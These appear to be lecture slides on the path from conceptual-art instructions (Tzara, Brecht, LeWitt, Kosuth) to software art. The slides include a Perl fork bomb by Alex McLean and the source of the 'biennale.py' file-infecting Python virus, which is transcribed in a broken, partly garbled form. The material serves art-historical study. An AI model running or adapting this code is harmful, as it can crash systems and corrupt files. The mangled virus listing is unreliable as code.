Conceptual Art and Software Art: Notations, Algorithms and Codes

Literature and Current:
Code Interface Concept
Literaturhaus Stuttgart, 11/11/2005

Thomas Dreher
http://dreher.netzliteratur.net
Concepts:

• verbal instructions
• Instructions with algorithmic disposition
• machine-readable notations (with algorithms in programming languages)
Tristan Tzara: Dadaist Poem, 1920

To make a Dadaist poem:
Take a newspaper.
Take a pair of scissors.
Choose an article as long as you are planning to make your poem. Cut out the article.
Then cut out each of the words that make up this article and put them in a bag.
Shake it gently.
Then take out the scraps one after the other in the order in which they left the bag.
Copy conscientiously.
The poem will be like you.
And here you are a writer, infinitely original and endowed with a sensibility that is charming though beyond the understanding of the vulgar.
Man Ray: Object To Be Destroyed, 1932

- Cut out the eye from a photograph of one who has been loved but is not seen anymore. Attach the eye to the pendulum of a metronome and regulate the weight to suit the tempo desired. Keep going to the limit of endurance. With a hammer well-aimed, try to destroy the whole with a single blow.

Print: This Quarter, Vol.5/No.1, September 1932, p.55.

The verbal instruction appears in print below the illustration of the drawing.
John Cage: Fontana Mix, 1958
George Brecht: Word Event, 1961

WORD EVENT

G. Brecht
Spring, 1961

Event card, source: George Brecht:
Water Yam, box with event cards,
Fluxus Edition, since 1963
La Monte Young: Composition 1960 #3

Announce to the audience when the piece will begin and end if there is a limit on duration. It may be of any duration.

Than announce that everyone may do whatever he wishes for the duration of the composition.

5.14.60

Source: Jackson Mac Low/La Monte Young: An Anthology. New York 1963, unpaginated.

Tony Conrad: Concept Art, 1961

Sum. 1961
to perform this piece
do not perform it.

this piece is its name.

This is the piece that is any piece.

Watch smoke.

Source: George Maciunas: Diagram of Historical Development of Fluxus and Other...Art Forms (incomplete), offset, 2 sheets of paper, 1973
Conceptual Performance

4 aspects:

• The written planning liberated from conventions of art media and notations.

• The highlighting of the relation planning - realization prompted the problematization of the execution as a realization of actions or objects.

• The relation notation - operation of observing is demonstrated on the one hand parallel to possible realizations as actions or objects and on the other hand as a substitute of these realizations: Notations can be realizable in no other way than as operations of observing.

• Texts of and as works instruct to operations of observing and describe with it procedures of thinking.
Joseph Kosuth: The Seventh Investigation, 1968-71


Victor Burgin: All Criteria, 1970

Print on 2 sheets of paper, each 30 x 21 cm, Tate Gallery, London
Art & Language NY: Blurring in A & L, 1973

5 aspects:

• The written planning liberated from conventions of art media and notations.

• The highlighting of the relation planning - realization prompted the problematization of the execution as a realization of actions or objects.

• The relation notation - operation of observing is demonstrated on the one hand parallel to possible realizations as actions or objects and on the other hand as a substitute of these realizations: Notations can be realizable in no other way than as operations of observing.

• Texts of and as works instruct to operations of observing and describe with it procedures of thinking.

• As “meta-art” the text of a work thematizes the problems of a non-normative self definition of art.
Mel Bochner: 36 Photographs and 12 Diagrams, 1966

36 gelatin silver photographs and 12 pen-and-ink drawings mounted on board; each panel 8 x 8 inches
The sets of nine are placed in four groups. Each variations on open or closed forms.

- closed inside
- open inside
- closed outside
- open outside

<p>| | | | | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>D</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>1</td>
<td>2</td>
<td>3</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>5</td>
<td>6</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>8</td>
<td>9</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>C</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>2</td>
<td>1</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>6</td>
<td>5</td>
<td>4</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>9</td>
<td>8</td>
<td>7</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

- closed inside
- open inside
- closed outside
- open outside

Aspen no. 5 + 6, 1966. URL: http://www.ubu.com/aspen/aspen5and6/serialProject.html

Sol LeWitt: Drawing Series 1968 (Fours)


Drawing Series 1968 (Fours), in: Studio International, April 1969, p.189 (article with explications of the series’ rules)
1. A line half the length of the axis between a point midway between the centerpoint of the wall and the mid left side and a point halfway between the mid left side and the upper left corner to a point halfway between the mid top side and the upper right corner, drawn from the midpoint of that axis toward a point halfway between the mid bottom side and the lower right corner.

2. A line drawn half the length of, and perpendicular to, the midpoint of the axis between a point half the distance between the centerpoints of the wall and the mid left side and a point halfway between the mid bottom side and the lower right corner, in the general direction of the right side.

3. A line drawn from a point midway between the centerpoint of the left side and a point halfway between the centerpoint of the wall and the midpoint of the left side to a point midway between the point where two lines would converge if they were drawn from the centerpoint of the wall to the mid point of the top side and the upper right corner to a point halfway between the upper left corner and the mid left side.

4. A line drawn from a point halfway between a point halfway between the center of the wall and the upper left corner and the midpoint of the left side to a point where two lines would cross if they were drawn from the midpoint of the right side to the lower left corner and a line from a point halfway between the midpoint of the top side and the upper right corner to a point halfway between the midpoint of the right side and a point halfway between the mid bottom side and the lower right corner.

Sol LeWitt, Antwerp, November 13, 1973

Above: The Location of a Red Parallelogram, a Black Not-Straight Line, a Blue Triangle, a Red Straight Line, a Yellow Arc, and a Yellow Rectangle, drawing, colored ink and pencil on paper, 1/9/1976

Left: Four Wall Drawings, 11/13/1973, collection Annick and Anton Herbert, Gent
In Conceptual Art a spectre can be differentiated from interpenetrating processes of `seeing´ and `reading´ to processes of reflexive reading:

• from `seeing-reading´ (Bochner, LeWitt) over
• `reading´ (Lawrence Weiner) to
• the thematization of reading processes in `reading-reading´ (Victor Burgin, Joseph Kosuth) and
• its reflexion in `reading-reading-reading´.
Rob Myers: The Cybernetic Art Nobody Wrote, 2003-4

The Cybernetic Artwork Nobody Wrote

"Cybernetic" generates random descriptions of possible abstract images. It is based on the poetry generation program as a result of basic computational but generates descriptions of more complex images. The Cybernetic Artwork Nobody Wrote was originally written in 1992 and later rewritten with program code in the 2000s, as the name refers to the original artwork "The Cybernetic Artwork Nobody Wrote" by Marjorie Bishop (1992).

Running Cybernetic...

To run "Cybernetic", change to the directory and execute: and run the file named

Sample Session

```
$ cd cybernetic
$ lisp cybernetic
```

Many crosshatched shocking pink spiky shapes on a pale sky blue ground.
Harold Hurrell: Fluidic Device, 1968

Harold Hurrell (Art & Language): The Cybernetic Art Work that Nobody Broke, 1969

Lithographic print, 1969


Observers interrupt two rows with infra-red light beams installed in right angle and constituting a grid in the environment. Light bulbs respond to the actions of observers. 14 infra-red light beams, 14 photo-electric cells, 28 white lighted bulbs, room: 305 x 345 x 345 cm, 1966, realization 1968.
Casey Reas: {Software} Structures, 2004

{Software} Structures  Casey REAS et al.

Structure
Defining relationships between elements

Implementation
Building the structure in software.

Interpretation
Different artists interpret the same structure.

Material
The same structure in different languages.

Process
Steps in the evolution of one structure.

#003
A surface filled with one hundred medium to small sized circles. Each circle has a different size and direction, but moves at the same slow rate. Display:
A. The instantaneous intersections of the circles
B. The aggregate intersections of the circles

#002
A grid of points in the top half of the surface. Each point moves downward and returns to the top when it leaves the bottom edge. Beginning in the upper-left, each row and column...

#001
Every possible pairing of these sixteen curves. Use the additive numeric values from each curve to set the value of a series of horizontal lines from white to black.

The catalyst for this project is the work of Sol LeWitt. I had a simple question: "Is the history of conceptual art relevant to the idea of software as art?" I began to answer the question by implementing three of LeWitt's drawings in software. [Implementations with permission of Sol LeWitt]

Wall Drawing #65
Wall Drawing #106
Wall Drawing #298

Created by Casey Reas in association with Jared Tarbell, Robert Hodgin, and William Ngan. Unless otherwise noted, the software was created with Processing.

Source: Whitney Artport. URL: http://artport.whitney.org/commissions/softwarestructures/map.html
Casey Reas: \{Software\} Structures, 2004

Wall Drawing # 106. URL: http://artport.whitney.org/commissions/softwarestructures/_106_response/index.html

Sol LeWitt, Wall-Drawing #106, 1971

Arcs from the midpoints of two sides of the wall (first version: Arcs, from two sides of the wall, 3 cm apart.). Pencil. Execution: Mel Bochner, Sol LeWitt, Bonomo Residence, Spoleto, Augustus 1971.
Casey Reas: {Software} Structures, 2004

Structure: Defining relationships between elements:

# 003: A surface filled with one hundred medium to small sized circles. Each circle has a different size and direction, but moves at the same slow rate. Display:

A. The instantaneous intersections of the circles
B. The aggregate intersections of the circles

Left: Implementation: Casey Reas, Structure #003B, Processing
Below: Interpretation: Jared Turbell, Structure #003B, Processing
Guy Debord: Psychogeography


Le Bauhaus Imaginiste (ed.): Guide psychogéographique de Paris, 1957
George Brecht: Direction, o.J.

Quelle: URL: http://www.socialfiction.org/psychogeography/dummies.html

// Classic.walk

Repeat

{  
  1st street left  
  2nd street right  
  2nd street left  
}

“...put up pointing hands all over Nice...in funny & strange places like public toilets, inside tunnels very high up, bottom of fountains - always hands coming towards these places OK?“ George Maciunas to Tomas Schmit, midst of July 1963 (Source: Hendricks, Jon: Fluxus Codex. New York 1988, p.190)

“This .walk example shows the classic generative psychogeographical algorithm, that urban exploration haiku, written down like a pseudo-computer language.“
Curt Cloninger: Psychocyberographic Memoirs > Let Your Fingers Do the Drifting, 2005


CONCEPT:

Verite applied to the web is simply called surfing. The web surfer as flaneur. This concept was overworn as early as 1996. Generative psychogeography is easy enough to apply the web. It's called a linkbot (or an "intelligent agent" for those more anthropomorphically inclined). Search engines send them out in droves to harvest pages for their databases.

The problem is, merely automated psychocyberography is missing the point of psychogeography. The point is not for a robot to re-map the city. It is not the non-euclidion path in and of itself that transforms the city. It is the fact that you as a subjective person are walking the path, experiencing the ride along the way. Your subjective experience is the transformative factor. Even if a bot could call images and text from its web journey and randomly assemble them into a collage similar to Debord's _Memories_, they would just be the memoirs of the bot. Feel free to steal this tangential concept and implement it. Entitle the piece "Memories of a Bot."

As incidentally transformative as reading Debord's _Memories_ may be, it can never be as transformative as experiencing the L1 and collaging _Memories_ was to Debord himself.

META-INSTRUCTIONS:

Create a set of instructions for surfing the web (the web being analogous to the modern city). Instead of saying "go down three lights and turn left," the instructions might read "tab forward three lines and click." Instead of saying "follow a woman in a blue," the instructions might read "click on the next linked image of a woman." You may create these instructions with generative software, or simply work them out the old school analog way (cf. non-digital programming, Bel Lewis's instruction-based drawings, John Cage's aleatoric dice music). Whatever you do, don't let the software do the actual surfing. Return the instructions to your human user/participant/collaborator/psychocybergrapher/margin walker and let her do the actual surfing per your instructions.

//

Some suggested approaches:

1. Begin the whole journey at google. Get the user to search for a phrase of her choosing. Once the results of the search are returned, she can begin surfing down her path per your instructions.

2. Begin the whole journey in a blank browser window. Get the user to choose a single word and type it in her word plus " .com " in the browser's URL field. urate.com, modern.com, banger.com, etc. Once the site comes up, she can begin surfing down her path per your instructions.
Algorithm

In mathematics and informatics, the term “algorithm” designates an instruction which describes a task precise and completely in several steps. The computer scientist Paul E. Black defines an algorithm as “a computable set of steps to achieve a desired result.”

Therefore an algorithm is a precise stepwise structure of a repeatable instruction but its result is not so definitely predetermined as definitions in natural sciences prescribe it.
Quine

:quine: A program that generates a copy of its own source text as its complete output.

Gary P. Thompson II

Quine in LISP and Scheme, author: John McCarthy, Carolyn Talcott:

```
((lambda (x)
    (list x (list (quote quote) x)))
(quote
    (lambda (x)
        (list x (list (quote quote) x))))
```

Source: Gary P. Thompson II: The Quine Page.
URL:http://www.nyx.net/~gthompso/quine.htm

Joseph Kosuth

Self-Defined and Self-Described, neon letters, 1965.
Cincinnati Art Museum
Alex McLean: forkbomb, 2001

1 #!/usr/bin/perl -w
2 use strict;
3 die "Please do not run this script without reading the documentation" if not @ARGV;
4 my $strength = $ARGV[0] + 1;
5 while (not fork) {
6 exit unless --$strength;
7 print "0";
8 twist: while (fork) {
9 exit unless --$strength;
10 print "1";
11 }
12 }
13 goto 'twist' if --$strength;

Program code in Perl [the numbers of lines are not part of the code]. In: Matthias Weiβ. URL: http://www.medienkunstnetz.de/werke/forkbomb/.

epidemiC/0100101110101101.org:
Biennale.py, 2001

---

```python
# biennale.py  

def formicate(guest):
    try:
        soul = open(guest, "r")
        body = soul.read()
        soul.close()
        if find(body, "[epidemiC]") == -1:
            soul = open(guest, "w")
            soul.write("\n\n" + body)
            soul.close()
        except IOError: pass

def chat(party, guest):
    if split(guest, ".")[-1] in ("py", "pyu"): formicate(party + guest)

def join(party):
    try:
        if not S_ISLNK(os.stat(party)[ST_MODE]):
            guestbook = listdir(party)
            if party + "\": party = party + "/"
            if not lower(party) in wank and not "__init__.py" in guestbook:
                for guest in guestbook:
                    chat(party, guest)
                join(party + guest)
        except IOError: pass

if __name__ == '__main__':
    mysoul = open(sys.argv[0])
    mybody = mysoul.read()
    mybody = mybody.replace(mybody, "\n\n" + "\n\n"
    mybody = mybody.replace(mybody, "\n\n"
    wank = [reversed blacklist[1]] + ["/"
    mybody = [join("/")
    print "This file was contaminated by biennale.py, the world slowest virus."
    print "Either Linux or Windows, biennale.py is definitely the first Python virus."
    print "Either Linux or Windows, biennale.py is definitely the first Python virus."
```

Source: URL: http://www.epidemic.ws/biennale/biennaley.py.gif
Conceptual Performance

The “Conceptual Performance” of the sixties and seventies is renovated by the following developments of an actual art thematizing instructions and programming codes:

1. from the work’s text to the program code as text presentation;
2. from the verbal concept as an instruction for realizations to the verbal sketch for realizations in programming languages;
3. from the verbal concept as an instruction for actions to the strategic instruction for actions in the dataspace;
4. from models for the criticism of the art world exhibited within the criticized context and index systems of Art & Language for the self documentation of (theories of) the “theoretical practice” to Open Content platforms with discussions, texts and activist tools for a legally and economically motivated criticism of the contemporary net and software conditions (Sourceforge, EFF, OPUS, RTMark, Creative Commons, Copyleft, Illegal Art, ODEM).

Art & Language: Index 01, documenta 5, Kassel 1972
Lucy Lippard: Dematerialization

Unpublished letter-essay from the Art-Language group, Coventry, to Lucy Lippard and John Chandler “Concerning the article ‘The Dematerialization of Art,’” March 23, 1968. An excerpt:

All the examples of art-works (ideas) you refer to in your article are, with few exceptions, art-objects. They may not be an art-object as we know it in its traditional matter-state, but they are nevertheless matter in one of its forms, either solid-state, gas-state, liquid-state. And it is on this question of matter-state that my caution with regard to the metaphorical usage of dematerialization is centred upon. Whether for example, one calls Carl Andre’s “substance of forms” empty space or not does not point to any evidence of dematerialization because the term “empty space” can never, in reference to terrestrial situations, be anything more than a convention describing how space is filled rather than offering a description of a portion of space which is, in physical terms, empty. Andre’s empty space is in no sense a void. . . . Consequently, when you point, among many others, to an object made by Atkinson, “Map to not indicate etc.,” that it has “almost entirely eliminated the visual-physical element,” I am a little apprehensive of such a description. The map is just as much a solid-state object (i.e., paper with ink lines upon it) as is any Rubens (stretcher-canvas with paint upon it) and as such comes up for the count of being just as physically- visually perusable as the Rubens. . . .

Matter is a specialized form of energy; radiant energy is the only form in which energy can exist in the absence of matter. Thus when dematerialization takes place, it means, in terms of physical phenomena, the conversion (I use this word guardedly) of a state of matter into that of radiant energy; this follows that energy can never be
Program code is characterised by the fact that here `saying´ coincides with `doing´. Code as an effective speech act is not a description or a representation of something, but, on the contrary, it directly affects, and literally sets in motion - or it even `kills´ a process.
Frieder Nake: Algorithmic Signs

Frieder Nake´s concept of "algorithmic signs" for the use of signs in computing processes characterizes
*first* the difference between signs in symbolic interaction (communication, discourse) and its use in program codes for the navigation of computing operations, and
*second* the observer´s operations with this difference by the preparations for navigation, by the observation of computing operations and in the use of computing results:

“Software is on the one hand a text, on the other hand a machine. Software is a machine only as a text, therefore it is a text, who can operate, as if it is itself a machine...Therefore Software...is a text as a machine and is readable as if it is a scripture...Software shows and shows not characteristics of machines. It shows these characteristics only in function; beyond computing it is a descriptive text...By its nature, software *is* neither the one (text) nor the other (machines).”
Allan McCollum/Louise Lawler: Ideal Settings, 1983/84

Around one hundred objects: wax and shoe polish on cast pigmented Hydrostone, 9 x 9 x 21/4 inches each. Installation with theatrical lighting and sales price projected on wall, at the Diane Brown Gallery, New York, 1984.

URL: http://home.att.net/~amcnet3/album/idealsettings.html
Concepts and ”reducing transformations“:

• verbal instructions: semantic transformation
• verbal instructions with algorithmic structure: syntactic-algorithmic transformation
• machine-readable notations (with algorithms in programming languages): algorithmic transformation
Origins of illustrations:

The following notes on the origins of illustrations complete the notes in the captions: